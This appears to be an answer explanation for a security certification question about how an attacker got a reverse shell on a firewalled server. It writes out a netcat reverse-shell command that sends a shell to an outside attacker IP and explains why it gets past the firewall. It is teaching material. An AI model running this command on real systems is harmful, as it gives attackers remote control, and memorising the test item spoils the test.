An attacker at IP address 11.22.33.44 set up a reverse shell so he could execute commands on a server (internal IP address 192.168.20.21) that sits behind a site firewall blocking incoming SSH traffic

tcpdump is a passive packet capture utility used for monitoring network traffic, not for establishing any type of interactive shell or remote connection.

The `ssh -b` flag binds the local address for an outbound SSH client connection - this would attempt to SSH into the attacker's machine rather than grant the attacker shell access to the server.

The command `nc 11.22.33.44 22 -e /bin/sh` uses netcat to initiate an outbound TCP connection from the server to the attacker on port 22 - permitted because all outbound traffic is allowed. The `-e /bin/sh` flag pipes the shell's stdin and stdout over the connection, giving the attacker an interactive shell on the server without requiring any inbound connection that the firewall would block.

lsof -i is a diagnostic command used to list currently open network connections and file descriptors, not a tool for creating or tunneling any remote shell.